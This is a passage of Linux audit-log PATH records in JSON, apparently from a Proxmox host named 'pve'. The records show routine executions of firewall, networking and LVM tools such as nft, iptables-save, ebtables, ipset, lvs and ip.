type=PATH msg=audit(1781965195.763:64562): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195763,"@rawstring":"node=pve type=PATH msg=audit(1781965195.763:64562): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195752,"@rawstring":"node=pve type=PATH msg=audit(1781965195.752:64561): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195752,"@rawstring":"node=pve type=PATH msg=audit(1781965195.752:64561): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965194556,"@rawstring":"node=pve type=PATH msg=audit(1781965194.556:64560): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965194556,"@rawstring":"node=pve type=PATH msg=audit(1781965194.556:64560): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965194528,"@rawstring":"node=pve type=PATH msg=audit(1781965194.528:64559): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965194528,"@rawstring":"node=pve type=PATH msg=audit(1781965194.528:64559): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965192125,"@rawstring":"node=pve type=PATH msg=audit(1781965192.125:64558): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965192125,"@rawstring":"node=pve type=PATH msg=audit(1781965192.125:64558): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965192125,"@rawstring":"node=pve type=PATH msg=audit(1781965192.125:64557): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965192125,"@rawstring":"node=pve type=PATH msg=audit(1781965192.125:64556): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965192116,"@rawstring":"node=pve type=PATH msg=audit(1781965192.116:64555): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965192116,"@rawstring":"node=pve type=PATH msg=audit(1781965192.116:64555): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965192116,"@rawstring":"node=pve type=PATH msg=audit(1781965192.116:64554): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965192116,"@rawstring":"node=pve type=PATH msg=audit(1781965192.116:64553): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965187105,"@rawstring":"node=pve type=PATH msg=audit(1781965187.105:64552): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965187105,"@rawstring":"node=pve type=PATH msg=audit(1781965187.105:64552): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965187105,"@rawstring":"node=pve type=PATH msg=audit(1781965187.105:64551): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965187105,"@rawstring":"node=pve type=PATH msg=audit(1781965187.105:64550): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965187098,"@rawstring":"node=pve type=PATH msg=audit(1781965187.098:64549): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965187098,"@rawstring":"node=pve type=PATH msg=audit(1781965187.098:64549): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965187098,"@rawstring":"node=pve type=PATH msg=audit(1781965187.098:64548): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965187098,"@rawstring":"node=pve type=PATH msg=audit(1781965187.098:64547): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185738,"@rawstring":"node=pve type=PATH msg=audit(1781965185.738:64546): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185738,"@rawstring":"node=pve type=PATH msg=audit(1781965185.738:64546): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185731,"@rawstring":"node=pve type=PATH msg=audit(1781965185.731:64545): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185731,"@rawstring":"node=pve type=PATH msg=audit(1781965185.731:64545): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185730,"@rawstring":"node=pve type=PATH msg=audit(1781965185.730:64544): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185730,"@rawstring":"node=pve type=PATH msg=audit(1781965185.730:64544): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185730,"@rawstring":"node=pve type=PATH msg=audit(1781965185.730:64543): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185723,"@rawstring":"node=pve type=PATH msg=audit(1781965185.723:64542): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185723,"@rawstring":"node=pve type=PATH msg=audit(1781965185.723:64542): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185723,"@rawstring":"node=pve type=PATH msg=audit(1781965185.723:64542): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185715,"@rawstring":"node=pve type=PATH msg=audit(1781965185.715:64541): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185715,"@rawstring":"node=pve type=PATH msg=audit(1781965185.715:64541): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185709,"@rawstring":"node=pve type=PATH msg=audit(1781965185.709:64540): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185709,"@rawstring":"node=pve type=PATH msg=audit(1781965185.709:64540): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185703,"@rawstring":"node=pve type=PATH msg=audit(1781965185.703:64539): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185703,"@rawstring":"node=pve type=PATH msg=audit(1781965185.703:64539): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185695,"@rawstring":"node=pve type=PATH msg=audit(1781965185.695:64538): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185695,"@rawstring":"node=pve type=PATH msg=audit(1781965185.695:64538): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185689,"@rawstring":"node=pve type=PATH msg=audit(1781965185.689:64536): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185689,"@rawstring":"node=pve type=PATH msg=audit(1781965185.689:64536): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185685,"@rawstring":"node=pve type=PATH msg=audit(1781965185.685:64535): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185685,"@rawstring":"node=pve type=PATH msg=audit(1781965185.685:64535): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185678,"@rawstring":"node=pve type=PATH msg=audit(1781965185.678:64534): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185678,"@rawstring":"node=pve type=PATH msg=audit(1781965185.678:64534): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185672,"@rawstring":"node=pve type=PATH msg=audit(1781965185.672:64533): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185672,"@rawstring":"node=pve type=PATH msg=audit(1781965185.672:64533): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185669,"@rawstring":"node=pve type=PATH msg=audit(1781965185.669:64532): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185669,"@rawstring":"node=pve type=PATH msg=audit(1781965185.669:64532): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185663,"@rawstring":"node=pve type=PATH msg=audit(1781965185.663:64531): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185663,"@rawstring":"node=pve type=PATH msg=audit(1781965185.663:64531): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185655,"@rawstring":"node=pve type=PATH msg=audit(1781965185.655:64530): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185655,"@rawstring":"node=pve type=PATH msg=audit(1781965185.655:64530): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185649,"@rawstring":"node=pve type=PATH msg=audit(1781965185.649:64529): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185649,"@rawstring":"node=pve type=PATH msg=audit(1781965185.649:64529): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185645,"@rawstring":"node=pve type=PATH msg=audit(1781965185.645:64528): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185645,"@rawstring":"node=pve type=PATH msg=audit(1781965185.645:64528): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185642,"@rawstring":"node=pve type=PATH msg=audit(1781965185.642:64527): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185642,"@rawstring":"node=pve type=PATH msg=audit(1781965185.642:64527): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185640,"@rawstring":"node=pve type=PATH msg=audit(1781965185.640:64526): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185640,"@rawstring":"node=pve type=PATH msg=audit(1781965185.640:64526): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185640,"@rawstring":"node=pve type=PATH msg=audit(1781965185.640:64525): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185637,"@rawstring":"node=pve type=PATH msg=audit(1781965185.637:64524): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185637,"@rawstring":"node=pve type=PATH msg=audit(1781965185.637:64524): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185637,"@rawstring":"node=pve type=PATH msg=audit(1781965185.637:64524): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185627,"@rawstring":"node=pve type=PATH msg=audit(1781965185.627:64523): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185627,"@rawstring":"node=pve type=PATH msg=audit(1781965185.627:64523): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185619,"@rawstring":"node=pve type=PATH msg=audit(1781965185.619:64522): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185619,"@rawstring":"node=pve type=PATH msg=audit(1781965185.619:64522): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185613,"@rawstring":"node=pve type=PATH msg=audit(1781965185.613:64521): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185613,"@rawstring":"node=pve type=PATH msg=audit(1781965185.613:64521): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185601,"@rawstring":"node=pve type=PATH msg=audit(1781965185.601:64520): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185601,"@rawstring":"node=pve type=PATH msg=audit(1781965185.601:64520): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185593,"@rawstring":"node=pve type=PATH msg=audit(1781965185.593:64519): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965185593,"@rawstring":"node=pve type=PATH msg=audit(1781965185.593:64519): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965184426,"@rawstring":"node=pve type=PATH msg=audit(1781965184.426:64518): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965184426,"@rawstring":"node=pve type=PATH msg=audit(1781965184.426:64518): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965184404,"@rawstring":"node=pve type=PATH msg=audit(1781965184.404:64517): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965184404,"@rawstring":"node=pve type=PATH msg=audit(1781965184.404:64517): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965182091,"@rawstring":"node=pve type=PATH msg=audit(1781965182.091:64516): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965182091,"@rawstring":"node=pve type=PATH msg=audit(1781965182.091:64516): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965182091,"@rawstring":"node=pve type=PATH msg=audit(1781965182.091:64515): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965182091,"@rawstring":"node=pve type=PATH msg=audit(1781965182.091:64514): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965182086,"@rawstring":"node=pve type=PATH msg=audit(1781965182.086:64513): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965182086,"@rawstring":"node=pve type=PATH msg=audit(1781965182.086:64513): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965182085,"@rawstring":"node=pve type=PATH msg=audit(1781965182.085:64512): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965182085,"@rawstring":"node=pve type=PATH msg=audit(1781965182.085:64511): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965180242,"@rawstring":"node=pve type=PATH msg=audit(1781965180.242:64510): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965180242,"@rawstring":"node=pve type=PATH msg=audit(1781965180.242:64510): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965180242,"@rawstring":"node=pve type=PATH msg=audit(1781965180.242:64509): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965180242,"@rawstring":"node=pve type=PATH msg=audit(1781965180.242:64509): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965180239,"@rawstring":"node=pve type=PATH msg=audit(1781965180.239:64508): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965180239,"@rawstring":"node=pve type=PATH msg=audit(1781965180.239:64508): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL 